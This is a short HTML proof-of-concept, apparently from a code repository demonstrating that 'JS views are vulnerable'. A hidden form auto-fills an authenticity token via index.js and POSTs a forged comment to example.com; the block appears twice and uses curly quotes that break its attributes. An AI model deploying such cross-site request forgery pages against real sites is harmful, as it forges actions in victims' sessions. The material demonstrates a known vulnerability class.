MaksimAbramchuk/code_2.html

## code_2.html
<html>
  <head>
    <script type=”text/javascript” src=”index.js”></script>
    <title>JS views are vulnerable</title>
  </head>
  <body>
     <form action=”http://example.com/comments" method=”POST”>
       <input id=”token” type=”hidden” name=”authenticity_token” value=””>
       <input type=”hidden” name=”comment[model_id]” value=”76678">
       <input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>
       <button type=”submit”>Hack it!</button>
     </form>
  </body>
</html>
	<html>
	<head>
	<script type=”text/javascript” src=”index.js”></script>
	<title>JS views are vulnerable</title>
	</head>
	<body>
	<form action=”http://example.com/comments" method=”POST”>
	<input id=”token” type=”hidden” name=”authenticity_token” value=””>
	<input type=”hidden” name=”comment[model_id]” value=”76678">
	<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>
	<button type=”submit”>Hack it!</button>
	</form>
	</body>
	</html>